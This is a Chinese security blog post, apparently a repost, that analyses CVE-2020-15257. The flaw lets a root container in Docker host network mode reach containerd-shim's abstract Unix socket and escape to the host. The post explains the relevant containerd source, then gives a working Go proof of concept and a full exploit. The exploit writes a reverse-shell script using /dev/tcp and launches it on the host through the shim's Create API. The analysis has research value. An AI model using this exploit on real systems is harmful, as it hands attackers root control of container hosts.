【技术干货】Docker-CVE-2020-15257

渗透技巧 2年前 (2022) admin
768 0 0

【技术干货】Docker-CVE-2020-15257



前置知识

unix域套接字

在Linux系统中存在着一种unix域套接字,其作用是为了进程间通信,其使用方法类似于普通的socket套接字,只不过使用socket函数的时候域设置为AF_UNIX,同时套接字的类型分为:流套接字(SOCK_STREAM)和数据报套接字(SOCK_DGRAM)。

socket创建文件描述符之后,需要用bind进行本地端口绑定,此时需要初始化一个sockaddr_un的结构体:

struct sockaddr_un {    sa_family sun_family;    char sun_path[180];}

结构体的第二个字段就是文件路径,它也分为两种:

1. 普通的文件路径:它是一个合法的Linux文件路径,当不需要这个套接字的时候需要删除文件。

2. 抽象名字空间路径:以NULL开始可以以任何结尾,同时文件系统上面没有具体的文件和它相对应,在关闭的时候会自动消失。

docker网络模式

Docker run 运行容器的时候可以使用–network选定指定的网络模式。

1. none模式:这种模式下内部只有loopback回环网络,没有其他网卡,不能访问外网,是一种封闭的网络。

2. container模式:这种模式与其它的container共享网络。

3. Bridge模式:docker默认的网络模式,会为每一个容器分配一个网络命名空间,设置IP,保证容器内部的进程使用独立的网络环境,使得容器与容器之间,容器与宿主机之前存在网络隔离。

4. host模式:这种模式下,容器和宿主机是没用网络隔离的,他们共用一个网络命名空间,容器的配置和主机是完全一样的。

go中的gRPC服务

gRPC是google开源的一款高性能的RPC框架。其中主要包含四种请求/相应模式:

  • 普通RPC

  • 服务端流式RPC

  • 客户端流式RPC

  • 服务端/客户端双向流式RPC

对于RPC来说,其一般简历在HTTP协议或者TCP协议之上,作为一个框架,它使得开发者可以不用考虑网络协议,连接,等内容,只需要通过RPC去实现客户端和服务端。

如果使用gPRC,那么可以将服务定义在.proto文件中,然后用一种支持gRPC的语言(比如go)去实现客户端和服务端,这可以使客户端和服务端运行在不同的环境中,同时gRPC具备高效的序列化和反序列化,接口等。

本文中Containerd-shim的api就是通过gRPC的方式实现的。

Demo:

syntax = "proto3";  // 代表使用proto3的语法package protos;
// The greeting service definition.service Greeter { // 通过service关键字可以定义一个Greeter服务 // Sends a greeting rpc SayHello (HelloRequest) returns (HelloReply) {} // 服务中定义的方法,该方法接受一个HelloRequest类型的消息,并返回一个HelloReply类型的消息。}

// The request message containing the user's name.message HelloRequest { // message关键字定义了一个HelloRequest类型的消息结构 string name = 1; // 这里的 = 1,1代表的是字段的编号,这个字段的编号是一个唯一的数字,作用是在二进制消息体中表示字段用。}
// The response message containing the greetingsmessage HelloReply { // message关键字定义了一个HelloReply的消息结构是什么样的 string message = 1;}

编译命令:

protoc --go_out=plugins=grpc:. helloworld.proto
编译器会根据.proto文件中定义的消息和服务生成对应的代码,接下来就可以编写服务端代码和客户端代码来实现具体的功能了。

漏洞分析

容器在host模式下与宿主机共用一套Network Namespace ,该条件下containerd-shim API暴露给了用户,对于containerd-shim的访问控制仅仅验证进程的UID是否为0,但是没有限制对抽象Unix域套接字的访问,因此当一个Root权限的容器开启了host网络模式就可能造成容器逃逸。

在docker 1.11版本中,单一的Docker Daemon拆分成为了4个独立的模块:Docker Daemon, containerd, containerd-shim, runC,  containred是为了兼容OCI标准将Docker Daemon中容器运行时及其管理剥离了出来,形成了containerd,containerd向上提供接口和Docker Daemon交互,向下通过containerd-shim结合runC实现对容器的管理控制,不过containerd 提供了可用于和其进行交互的API和客户端应用程序ctr,所以即使没有Dcoker Daemon,也可以直接通过containerd来运行管理容器。
【技术干货】Docker-CVE-2020-15257
每次启动一个容器都会创建一个containerd-shim进程,它通过容器id, bundle目录,运行时二进制文件路径来调用运行时的API创建和运行容器,该进程会一直存在到容器实例进程退出为止,最后将容器的退出状态返回给containerd。

对于该CVE来说,因为containerd-shim的api接口是unix域套接字实现的,在使用过程中containerd 传递Unix 域套接字描述符给containerd-shim,containerd-shim在启动之后,会基于父进程传递的unix域套接字文件描述符建立gRPC服务,对外暴露一些API用于container,task的控制。但是在这个过程中暴露了一些可以被利用到的api。

containerd创建的unix域套接字如下,首先生成一个地址,在newSocket中以抽象地址的方式建立套接字:

func (b *bundle) shimAddress(namespace string) string {        d := sha256.Sum256([]byte(filepath.Join(namespace, b.id)))        return filepath.Join(string(filepath.Separator), "containerd-shim", fmt.Sprintf("%x.sock", d))}


func newSocket(address string) (*net.UnixListener, error) {        if len(address) > 106 {                return nil, errors.Errorf("%q: unix socket path too long (> 106)", address)        }        l, err := net.Listen("unix", "x00"+address)        if err != nil {                return nil, errors.Wrapf(err, "failed to listen to abstract unix socket %q", address)        }
return l.(*net.UnixListener), nil}

此时container-shim作为Server向外提供的服务如下:

// Shim service is launched for each container and is responsible for owning the IO// for the container and its additional processes.  The shim is also the parent of// each container and allows reattaching to the IO and receiving the exit status// for the container processes.service Shim {        // State returns shim and task state information.        rpc State(StateRequest) returns (StateResponse);        rpc Create(CreateTaskRequest) returns (CreateTaskResponse);        rpc Start(StartRequest) returns (StartResponse);        rpc Delete(google.protobuf.Empty) returns (DeleteResponse);        rpc DeleteProcess(DeleteProcessRequest) returns (DeleteResponse);        rpc ListPids(ListPidsRequest) returns (ListPidsResponse);        rpc Pause(google.protobuf.Empty) returns (google.protobuf.Empty);        rpc Resume(google.protobuf.Empty) returns (google.protobuf.Empty);        rpc Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty);        rpc Kill(KillRequest) returns (google.protobuf.Empty);        rpc Exec(ExecProcessRequest) returns (google.protobuf.Empty);        rpc ResizePty(ResizePtyRequest) returns (google.protobuf.Empty);        rpc CloseIO(CloseIORequest) returns (google.protobuf.Empty);        // ShimInfo returns information about the shim.        rpc ShimInfo(google.protobuf.Empty) returns (ShimInfoResponse);        rpc Update(UpdateTaskRequest) returns (google.protobuf.Empty);        rpc Wait(WaitRequest) returns (WaitResponse);}

container作为client可以调用container-shim提供的api进而实现对容器的管理。漏洞就出现在对于unix域套接字的访问控制上面,因为unix域套接字本身是没有权限规则的,因此容器就利用进程的UID,GID做访问控制,限定EUID==0 && EGID==0 才可以进行访问。

// UnixSocketRequireSameUser resolves the current effective unix user and returns a// UnixCredentialsFunc that will validate incoming unix connections against the// current credentials.//// This is useful when using abstract sockets that are accessible by all users.func UnixSocketRequireSameUser() UnixCredentialsFunc {        euid, egid := os.Geteuid(), os.Getegid()        return UnixSocketRequireUidGid(euid, egid)}

docker默认的bridge模式因为网络隔离的原因,容器内部无法通过/proc/net/unix看到宿主机上面的套接字的,但是如果是使用host模式,那么容器和主机共用一个网路命名空间,那么/proc/net/unix中就会看到宿主机的套接字信息,大致说一下容器中套接字的相关作用:

1. /var/run/docker.sock : Docker Daemon监听的域套接字,用于docker client之间的通信。

2. /run/containerd/container.sock : containerd 监听的unix域套接字,docker daemon和ctr可以通过它和containerd进行通信。

3. @/containerd-shim/***(sha256).sock:这就是containerd-shim监听的unix域套接字,containerd通过它和containerd-shim进行通信,控制管理器内容。

前两个套接字虽然因为host模式下共享网络命名空间可以看到,但是因为容器和宿主机之前的文件系统存在着隔离,因此是在容器内是无法对着两个文件进行访问的,但是因为第三种是抽象名字空间路径,只依靠网络命名空间进行隔离,所以容器可以进行访问,同时因为容器内本身就是root权限,所以对于EUID和GUID的检测形同虚设,那么容器内就可以通过连接containerd-shim提供的unix域套接字调用其提供的一系列API进而实现容器逃逸。


漏洞利用

首先要找出containerd自身的containerd-shim是怎么使用的,看源码可知:

// WithConnect connects to an existing shimfunc WithConnect(address string, onClose func()) Opt {        return func(ctx context.Context, config shim.Config) (shimapi.ShimService, io.Closer, error) {                conn, err := connect(address, annonDialer)                if err != nil {                        return nil, nil, err                }                client := ttrpc.NewClient(conn, ttrpc.WithOnClose(onClose))                return shimapi.NewShimClient(client), conn, nil        }}

可以看到containerd使用ttrpc构建client,其中conn是unix域套接字,向上回溯发现是WithStart函数对其进行调用:

func WithStart(binary, address, daemonAddress, cgroup string, debug bool, exitHandler func()) Opt {        return func(ctx context.Context, config shim.Config) (_ shimapi.ShimService, _ io.Closer, err error) {                socket, err := newSocket(address)                if err != nil {                        if !eaddrinuse(err) {                                return nil, nil, err                        }                        if err := RemoveSocket(address); err != nil {                                return nil, nil, errors.Wrap(err, "remove already used socket")                        }                        if socket, err = newSocket(address); err != nil {                                return nil, nil, err                        .....................

该函数返回一个client,然后再向上回溯发现是ShimRemote函数进行了调用:

// ShimRemote is a ShimOpt for connecting and starting a remote shimfunc ShimRemote(c *Config, daemonAddress, cgroup string, exitHandler func()) ShimOpt {        return func(b *bundle, ns string, ropts *runctypes.RuncOptions) (shim.Config, client.Opt) {                config := b.shimConfig(ns, c, ropts)                return config,                        client.WithStart(c.Shim, b.shimAddress(ns, daemonAddress), daemonAddress, cgroup, c.ShimDebug, exitHandler)        }}

再次向上回溯发现是Create函数进行了调用:

func (r *Runtime) Create(ctx context.Context, id string, opts runtime.CreateOpts) (_ runtime.Task, err error) {        namespace, err := namespaces.NamespaceRequired(ctx)        if err != nil {                return nil, err        }
if err := identifiers.Validate(id); err != nil { return nil, errors.Wrapf(err, "invalid task id") }
ropts, err := r.getRuncOptions(ctx, id) if err != nil { return nil, err }
bundle, err := newBundle(id, filepath.Join(r.state, namespace), filepath.Join(r.root, namespace), opts.Spec.Value) if err != nil { return nil, err } defer func() { if err != nil { bundle.Delete() } }() ......................

到此,我们知道了containerd是如何使用containerd-shim的,因此我们可以在容器内与containerd-shim建立通信实现利用:

POC

package main
import ( "context" "errors" "io/ioutil" "log" "net" "regexp" "strings"
"github.com/containerd/ttrpc" "github.com/gogo/protobuf/types")
func exp(sock string) bool { sock = strings.Replace(sock, "@", "", -1) conn, err := net.Dial("unix", "x00"+sock) if err != nil { log.Println(err) return false }
client := ttrpc.NewClient(conn) shimClient := NewShimClient(client) ctx := context.Background() info, err := shimClient.ShimInfo(ctx, &types.Empty{}) if err != nil { log.Println("rpc error:", err) return false }
log.Println("shim pid:", info.ShimPid) return true}
func getShimSockets() ([][]byte, error) { re, err := regexp.Compile("@/containerd-shim/.*\.sock") if err != nil { return nil, err } data, err := ioutil.ReadFile("/proc/net/unix") matches := re.FindAll(data, -1) if matches == nil { return nil, errors.New("Cannot find vulnerable socket") } return matches, nil}
func main() { matchset := make(map[string]bool) socks, err := getShimSockets() if err != nil { log.Fatalln(err) } for _, b := range socks { sockname := string(b) if _, ok := matchset[sockname]; ok { continue } log.Println("try socket:", sockname) matchset[sockname] = true if exp(sockname) { break } }
return}

1. 首先在/proc/net/unix 里面匹配到目标套接字。

2. 利用之前在Docker源码中找到的使用containerd-shim的方式建立client。

3. 调用API成功。

EXP

package mainimport (        "context"        "errors"        "io/ioutil"        "log"        "net"        "regexp"        "strings"
types1 "github.com/containerd/containerd/api/types" "github.com/containerd/ttrpc")func exp(sock string, containerid string, hostPath string) bool { sock = strings.Replace(sock, "@", "", -1) conn, err := net.Dial("unix", "x00"+sock) if err != nil { log.Println(err) return false        } client := ttrpc.NewClient(conn) shimClient := NewShimClient(client) ctx := context.Background() info, err := shimClient.State(ctx, &StateRequest{ ID: containerid, }) if err != nil { log.Println("rpc error:", err) return false }
//log.Println("current container info:", info) mounts := make([]*types1.Mount, 0) mounts = append(mounts, &types1.Mount{ Type: "bind", Source: "/mnt", }) log.Println("exploit path on host:", hostPath+"/exploit") newTask, err := shimClient.Create(ctx, &CreateTaskRequest{ ID: "hdsfjashdfjhaskjdfhkj", Bundle: info.Bundle, Runtime: hostPath + "/exploit", Terminal: false, })
if err != nil { log.Println("rpc error:", err) return false }
log.Println("new task info:", newTask) return true}
func getContainerID() (string, error) { data, err := ioutil.ReadFile("/proc/self/cgroup") if err != nil { return "", err } cgroupData := string(data) lines := strings.Split(cgroupData, "n") cgmatch, err := regexp.Compile(".*:pids:/docker/(.*)") containerid := "" for _, l := range lines { match := cgmatch.FindStringSubmatch(l) if len(match) == 0 { continue } containerid = match[1]        } if containerid == "" { return "", errors.New("Container id not found")        } return containerid, nil}func getShimSockets() ([][]byte, error) { re, err := regexp.Compile("@/containerd-shim/.*\.sock") if err != nil { return nil, err } data, err := ioutil.ReadFile("/proc/net/unix") matches := re.FindAll(data, -1) if matches == nil { return nil, errors.New("cannot find vulnerable socket") } return matches, nil}func getHostPath() (string, error) { re, err := regexp.Compile("overlay.*,workdir=(.*/)work") if err != nil { return "", err } data, err := ioutil.ReadFile("/proc/mounts") matches := re.FindSubmatch(data) if matches == nil { return "", errors.New("cannot find Host Path") } return string(matches[1]) + "merged", nil}func main() {
err := ioutil.WriteFile("/exploit", []byte("#!/bin/bashnsetsid bash -c 'sh >& /dev/tcp/127.0.0.1/8080 0>&1' &n"), 0777) if err != nil { log.Fatalln(err) } containerid, err := getContainerID() log.Println("the container id is: " + containerid) if err != nil { log.Fatalln(err) } log.Println("Current container id:", containerid)
matchset := make(map[string]bool) socks, err := getShimSockets() if err != nil { log.Fatalln(err) } hostPath, err := getHostPath() if err != nil { log.Fatalln(err) } log.Println("Host path:", hostPath) for _, b := range socks { sockname := string(b) if _, ok := matchset[sockname]; ok { continue } log.Println("try socket:", sockname) matchset[sockname] = true if exp(sockname, containerid, hostPath) { break }        } return}

1. 首先在容器的根目录下创建一个shell文件。

2. 在/proc/self/cgroup中进行正则匹配获得ContainerID。

3. 通过/proc/mount 可以获得hostpath,通过这个路径我们可以在宿主机上面访问到容器中的文件,这样可以利用Containerd-shim启动一个host主机上面的进程。

【技术干货】Docker-CVE-2020-15257
4. 利用containerd-shim的Create的API实现反弹shell,成功实现逃逸。
【技术干货】Docker-CVE-2020-15257

参考链接

https://bestwing.me/CVE-2020-15257-anaylysis.html

https://github.com/summershrimp/exploits-open/blob/9f2e0a28ffcf04ac81ce9113b2f8c451c36fe129/CVE-2020-15257/main.go

https://win-man.github.io/2020/03/29/049-go-grpc/


往期 · 推荐


【技术干货】Docker-CVE-2020-15257
【技术干货】Docker-CVE-2020-15257
【技术干货】Docker-CVE-2020-15257

【技术干货】Docker-CVE-2020-15257


【技术干货】Docker-CVE-2020-15257

原文始发于微信公众号(星阑科技):【技术干货】Docker-CVE-2020-15257

版权声明:admin 发表于 2022年1月13日 上午2:05。
转载请注明:【技术干货】Docker-CVE-2020-15257 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...